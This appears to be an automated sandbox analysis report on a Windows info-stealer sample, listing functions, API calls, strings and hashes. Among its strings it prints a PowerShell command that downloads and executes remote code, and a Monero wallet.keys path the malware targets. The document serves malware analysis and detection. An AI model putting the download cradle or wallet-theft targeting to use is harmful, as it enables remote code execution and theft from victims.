Associated: 00000000.00000002.2143625399.000000000074E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000008CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143873017.00000000009F0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143979579.0000000000B8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143995377.0000000000B8E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4f0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$CloseOpenQueryValuememset
String ID:
API String ID: 2623679115-0
Opcode ID: 35c830a17d2669b93c5d5301af7ddda61a36ad9217097052a373fbdaa4745c47
Instruction ID: 2b7f16e2c7d4e2530c5f70d4aeaa5a2aa6d0f668a6f7938bcffce250bb48cf23
Opcode Fuzzy Hash: 35c830a17d2669b93c5d5301af7ddda61a36ad9217097052a373fbdaa4745c47
Instruction Fuzzy Hash: 614187B6900108BBDB14EBA0DC4BFFE773DBB88300F40855DB75556191EA799B888B92

Function 004F99C0 Relevance: 9.1, APIs: 6, Instructions: 82filememoryCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 004F99EC
GetFileSizeEx.KERNEL32(000000FF,?), ref: 004F9A11
LocalAlloc.KERNEL32(00000040,?), ref: 004F9A31
ReadFile.KERNEL32(000000FF,?,00000000,004F148F,00000000), ref: 004F9A5A
LocalFree.KERNEL32(004F148F), ref: 004F9A90
CloseHandle.KERNEL32(000000FF), ref: 004F9A9A

Memory Dump Source

Source File: 00000000.00000002.2143466660.00000000004F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true

Associated: 00000000.00000002.2143446926.00000000004F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.000000000073A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.000000000074E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000008CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143873017.00000000009F0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143979579.0000000000B8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143995377.0000000000B8E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4f0000_file.jbxd

Yara matches

Similarity

API ID: File$Local$AllocCloseCreateFreeHandleReadSize
String ID:
API String ID: 2311089104-0
Opcode ID: cb75a940647557fc43dff5cd3f2c7c3e45e1bbc9246ab60b7a5ccdbc945ee0c0
Instruction ID: b045629d737e85f6edd6e38dc4e54b07c35c7e5173d08a52f7277037c5daa2ac
Opcode Fuzzy Hash: cb75a940647557fc43dff5cd3f2c7c3e45e1bbc9246ab60b7a5ccdbc945ee0c0
Instruction Fuzzy Hash: 5031D3B4E00209EFDB14CF94C986BAE77B5BF48341F108159E911A7390D779AA41CFA6

Function 0050C84E Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 129COMMONLIBRARYCODE

Download Yara Rule

APIs

memset.MSVCRT ref: 0050C8BF
___crtGetStringTypeA.LIBCMT ref: 0050C8EC
___crtLCMapStringA.LIBCMT ref: 0050C90C
___crtLCMapStringA.LIBCMT ref: 0050C931

Strings

, xrefs: 0050C896

Memory Dump Source

Source File: 00000000.00000002.2143466660.00000000004F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true

Associated: 00000000.00000002.2143446926.00000000004F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.000000000073A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.000000000074E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000008CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143873017.00000000009F0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143979579.0000000000B8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143995377.0000000000B8E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4f0000_file.jbxd

Yara matches

Similarity

API ID: String___crt$Typememset
String ID:
API String ID: 3530896902-3916222277
Opcode ID: bfc781a08eef358cdea8550022e732696b2f501931a26b78e21fcfc2ec218076
Instruction ID: 8dba3c01117ef544ca6ba1463886a169f3f1ec1c5463d46a806a4f60832cafa5
Opcode Fuzzy Hash: bfc781a08eef358cdea8550022e732696b2f501931a26b78e21fcfc2ec218076
Instruction Fuzzy Hash: 7841E4B110079C5EDB218B248D84BFFBFE8AF46704F1449E8E98A861C2D271AA448F64

Function 00504780 Relevance: 8.9, APIs: 7, Instructions: 101stringCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32(?,012DDCE0), ref: 005047DB

Part of subcall function 00508DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00508E0B

lstrcat.KERNEL32(?,00000000), ref: 00504801
lstrcat.KERNEL32(?,?), ref: 00504820
lstrcat.KERNEL32(?,?), ref: 00504834
lstrcat.KERNEL32(?,012CAE88), ref: 00504847
lstrcat.KERNEL32(?,?), ref: 0050485B
lstrcat.KERNEL32(?,012DD538), ref: 0050486F

Part of subcall function 0050A740: lstrcpy.KERNEL32(00510E17,00000000), ref: 0050A788

Part of subcall function 00508D90: GetFileAttributesA.KERNEL32(00000000,?,004F1B54,?,?,0051564C,?,?,00510E1F), ref: 00508D9F

Part of subcall function 00504570: GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00504580
Part of subcall function 00504570: RtlAllocateHeap.NTDLL(00000000), ref: 00504587
Part of subcall function 00504570: wsprintfA.USER32 ref: 005045A6
Part of subcall function 00504570: FindFirstFileA.KERNEL32(?,?), ref: 005045BD

Memory Dump Source

Source File: 00000000.00000002.2143466660.00000000004F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true

Associated: 00000000.00000002.2143446926.00000000004F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.000000000073A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.000000000074E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000008CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143873017.00000000009F0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143979579.0000000000B8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143995377.0000000000B8E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4f0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileHeap$AllocateAttributesFindFirstFolderPathProcesslstrcpywsprintf
String ID:
API String ID: 2540262943-0
Opcode ID: 180311d333a7f3927bb327ea0024f666143b46b096d912a9aabe600746134678
Instruction ID: aaf25c2f52dfabe06995324aeb26521d4b5c303aaeff5d55d5078cf93b485cd0
Opcode Fuzzy Hash: 180311d333a7f3927bb327ea0024f666143b46b096d912a9aabe600746134678
Instruction Fuzzy Hash: 643152B2900208A7DB11FBB0DC8AEED777CBB98700F404989B79596091EE74D6898B95

Function 00502C90 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 99COMMON

Download Yara Rule

APIs

Part of subcall function 0050A740: lstrcpy.KERNEL32(00510E17,00000000), ref: 0050A788

Part of subcall function 0050A9B0: lstrlen.KERNEL32(?,012D8AC0,?,\Monero\wallet.keys,00510E17), ref: 0050A9C5
Part of subcall function 0050A9B0: lstrcpy.KERNEL32(00000000), ref: 0050AA04
Part of subcall function 0050A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0050AA12

Part of subcall function 0050A920: lstrcpy.KERNEL32(00000000,?), ref: 0050A972
Part of subcall function 0050A920: lstrcat.KERNEL32(00000000), ref: 0050A982

Part of subcall function 0050A8A0: lstrcpy.KERNEL32(?,00510E17), ref: 0050A905

ShellExecuteEx.SHELL32(0000003C), ref: 00502D85

Strings

-nop -c "iex(New-Object Net.WebClient).DownloadString(', xrefs: 00502CC4
')", xrefs: 00502CB3
<, xrefs: 00502D39
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, xrefs: 00502D04

Memory Dump Source

Source File: 00000000.00000002.2143466660.00000000004F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true

Associated: 00000000.00000002.2143446926.00000000004F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.000000000073A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.000000000074E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000008CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143873017.00000000009F0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143979579.0000000000B8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143995377.0000000000B8E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4f0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$ExecuteShelllstrlen
String ID: ')"$-nop -c "iex(New-Object Net.WebClient).DownloadString('$<$C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
API String ID: 3031569214-898575020
Opcode ID: 8022f7195e1371615938293f169d32a9aeff668ed4a519b6ed2fc2b48c66f659
Instruction ID: f78273f8ecfcd4313438c4b49f70407fb7e08c2112237fca13dda14eb0f2306c
Opcode Fuzzy Hash: 8022f7195e1371615938293f169d32a9aeff668ed4a519b6ed2fc2b48c66f659
Instruction Fuzzy Hash: C041AD719102099AEB14EBA0C89AFEDBF78BF54300F408519F516AA1D1DF746A8ACF91

Function 004F9E10 Relevance: 7.7, APIs: 1, Strings: 4, Instructions: 170memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,?), ref: 004F9F41

Part of subcall function 0050A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0050A7E6

Part of subcall function 0050A740: lstrcpy.KERNEL32(00510E17,00000000), ref: 0050A788

Strings

v20, xrefs: 004F9E21
v10, xrefs: 004F9EA3
@, xrefs: 004F9EF1
ERROR_RUN_EXTRACTOR, xrefs: 004F9E67

Memory Dump Source

Source File: 00000000.00000002.2143466660.00000000004F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true

Associated: 00000000.00000002.2143446926.00000000004F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.000000000073A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.000000000074E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000008CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143873017.00000000009F0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143979579.0000000000B8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143995377.0000000000B8E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4f0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$AllocLocal
String ID: @$ERROR_RUN_EXTRACTOR$v10$v20
API String ID: 4171519190-1096346117
Opcode ID: 8ec11bb8a1572481500279c24468443ce5f1e490da6f863dff29d757855dbdf2
Instruction ID: df6d2e65b0be1e8340a5f761ebe1ec8969e45cbfb3d827c88bb3a7bb6000e5b2
Opcode Fuzzy Hash: 8ec11bb8a1572481500279c24468443ce5f1e490da6f863dff29d757855dbdf2
Instruction Fuzzy Hash: 8E610C71A1024CEFDB14EFA4DC96FED7B75BF84304F008118EA0A5B291EB746A46CB56

Function 005070D0 Relevance: 7.6, APIs: 2, Strings: 3, Instructions: 140COMMON

Download Yara Rule

APIs

Part of subcall function 0050A740: lstrcpy.KERNEL32(00510E17,00000000), ref: 0050A788

memset.MSVCRT ref: 0050716A

Strings

65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30, xrefs: 0050718C
sP, xrefs: 005072AE, 00507179, 0050717C
sP, xrefs: 00507111

Memory Dump Source

Source File: 00000000.00000002.2143466660.00000000004F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true

Associated: 00000000.00000002.2143446926.00000000004F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.000000000073A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.000000000074E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000008CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143873017.00000000009F0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143979579.0000000000B8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143995377.0000000000B8E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4f0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpymemset
String ID: sP$sP$65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30
API String ID: 4047604823-3565788713
Opcode ID: e6e9bd7fbddf9970db07724e214f22b6b7b055dcd0c99175ac86be17036d36f6
Instruction ID: b4f8c86632e5abeeaea904b5dfe1d25147ec0efca8b340dfe9366d806349c020
Opcode Fuzzy Hash: e6e9bd7fbddf9970db07724e214f22b6b7b055dcd0c99175ac86be17036d36f6
Instruction Fuzzy Hash: 6D517DB0D0421EABDB14EB90DC85BEEBB74BF58304F5084A8E615761C1EB746E88CF58

Function 00507E00 Relevance: 7.6, APIs: 5, Instructions: 58registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00507E37
RtlAllocateHeap.NTDLL(00000000), ref: 00507E3E
RegOpenKeyExA.ADVAPI32(80000002,012CBC08,00000000,00020119,?), ref: 00507E5E
RegQueryValueExA.ADVAPI32(?,012DD6D8,00000000,00000000,000000FF,000000FF), ref: 00507E7F
RegCloseKey.ADVAPI32(?), ref: 00507E92

Memory Dump Source

Source File: 00000000.00000002.2143466660.00000000004F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true

Associated: 00000000.00000002.2143446926.00000000004F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.000000000073A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.000000000074E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000008CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143873017.00000000009F0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143979579.0000000000B8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143995377.0000000000B8E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4f0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: 0092dcb1f4ef202867f5c72b47700688134a39ce425fd23c5fc8acfbb8d96e9e
Instruction ID: 53cd6c21a231cc0a4f458898b8daecef4a12ab7b136fcfd9676024c651162d82
Opcode Fuzzy Hash: 0092dcb1f4ef202867f5c72b47700688134a39ce425fd23c5fc8acfbb8d96e9e
Instruction Fuzzy Hash: 37114CB1A44209FBE700CB94DD4AFBFBBBCFB08B11F108159F605A7280D77868048BA1

Function 00509260 Relevance: 7.5, APIs: 4, Strings: 1, Instructions: 41stringCOMMON

Download Yara Rule

APIs

StrStrA.SHLWAPI(012DDA70,?,?,?,0050140C,?,012DDA70,00000000), ref: 0050926C
lstrcpyn.KERNEL32(0073AB88,012DDA70,012DDA70,?,0050140C,?,012DDA70), ref: 00509290
lstrlen.KERNEL32(?,?,0050140C,?,012DDA70), ref: 005092A7
wsprintfA.USER32 ref: 005092C7

Strings

%s%s, xrefs: 005092B5

Memory Dump Source

Source File: 00000000.00000002.2143466660.00000000004F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true

Associated: 00000000.00000002.2143446926.00000000004F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.000000000073A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.000000000074E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000008CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143873017.00000000009F0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143979579.0000000000B8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143995377.0000000000B8E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4f0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpynlstrlenwsprintf
String ID: %s%s
API String ID: 1206339513-3252725368
Opcode ID: 2652b5b6caaf853618f63a142f90dcc1445166ccddd20c504884d52fc9d9eecb
Instruction ID: 487cc14f86bbe30d4a008eb1181d3464501ba9ef2494991f40a05d16a22ed1dd
Opcode Fuzzy Hash: 2652b5b6caaf853618f63a142f90dcc1445166ccddd20c504884d52fc9d9eecb
Instruction Fuzzy Hash: 7C011AB5500108FFDB04DFECC98AEAE7BB9FB48351F108548F9498B245C639AA40DB95

Function 004F12A0 Relevance: 7.5, APIs: 5, Instructions: 39registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 004F12B4
RtlAllocateHeap.NTDLL(00000000), ref: 004F12BB
RegOpenKeyExA.ADVAPI32(000000FF,?,00000000,00020119,?), ref: 004F12D7
RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 004F12F5
RegCloseKey.ADVAPI32(?), ref: 004F12FF

Memory Dump Source

Source File: 00000000.00000002.2143466660.00000000004F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true

Associated: 00000000.00000002.2143446926.00000000004F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.000000000073A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.000000000074E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000008CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143873017.00000000009F0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143979579.0000000000B8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143995377.0000000000B8E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4f0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: 01b34146acdf691134ce1317b26fc526facf169167d71b81c492be7ea2c199de
Instruction ID: 4c2e66159eddbc0b93c63aa236aed1bef5e311eed438b8f5fa121e2686ed85c5
Opcode Fuzzy Hash: 01b34146acdf691134ce1317b26fc526facf169167d71b81c492be7ea2c199de
Instruction Fuzzy Hash: 7A0131B9A40208BBEB00DFE0DC8AFAEB7B8EB48701F008159FA4597280D6759A018F55

Function 00506630 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 70COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,0000003C,?,000003E8), ref: 00506663

Part of subcall function 0050A740: lstrcpy.KERNEL32(00510E17,00000000), ref: 0050A788

Part of subcall function 0050A9B0: lstrlen.KERNEL32(?,012D8AC0,?,\Monero\wallet.keys,00510E17), ref: 0050A9C5
Part of subcall function 0050A9B0: lstrcpy.KERNEL32(00000000), ref: 0050AA04
Part of subcall function 0050A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0050AA12

Part of subcall function 0050A8A0: lstrcpy.KERNEL32(?,00510E17), ref: 0050A905

ShellExecuteEx.SHELL32(0000003C), ref: 00506726
ExitProcess.KERNEL32 ref: 00506755

Strings

<, xrefs: 005066D9

Memory Dump Source

Source File: 00000000.00000002.2143466660.00000000004F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true

Associated: 00000000.00000002.2143446926.00000000004F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.000000000073A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.000000000074E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000008CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143873017.00000000009F0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143979579.0000000000B8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143995377.0000000000B8E000.00000080.00000001.01000000.00000003.sdmpDownload File

